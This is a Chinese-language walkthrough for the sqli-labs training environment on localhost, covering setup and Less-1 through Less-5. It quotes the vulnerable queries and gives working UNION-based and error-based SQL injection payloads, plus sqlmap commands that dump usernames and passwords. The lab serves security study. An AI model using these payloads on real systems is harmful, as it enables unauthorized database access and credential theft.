sqli-labs-master环境搭建以及Less1-5
安装
Sqli-labs项目地址—Github获取:https://github.com/Audi-1/sqli-labs
phpstudy开启apache+mysql
将下载内容放入根目录
修改sql-connections/db-creds.inc文件当中的mysql账号密码
均修改为root
出现问题 搜索得到php版本过高 phpstudy更换为5点几的低版本
Less-1
GET - Error based - Single quotes - String
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
单引号注入
数据库报错 单引号成功被数据库解析
可以通过闭合id这个参数 插入自己构造的sql注入语句
?id=1 ' order by 1 %23 1
?id=1 ' order by 2 %23 1
?id=1 ' order by 3 %23 1
?id=1 ' order by 4 %23 0
意思就是没有第四个字段,也就可以推断原本的sql语句只是有用到了三个字段
1、手工UNION联合查询注入
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上,现在我们又需要确定哪几个字段会被显示在页面上:
?id=' union select 1,2,3 %23
在爆出表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆值
?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
2、手工报错型注入
爆表
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列(字段)
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
爆值
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
3、sqlmap工具注入
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql –batch –v 0
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql --dbs --batch -v 0
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch -v 0
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch -v 0
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch -v 0
Less-2
GET - Error based - Intiger based
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
不需要单引号闭合
Less-3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
1’)进行闭合
Less-4
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
1“)
Less-5
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
联合查询无反应 考虑报错注入
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
https://blog.csdn.net/silence1_/article/details/90812612
?id=1' union select null,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a#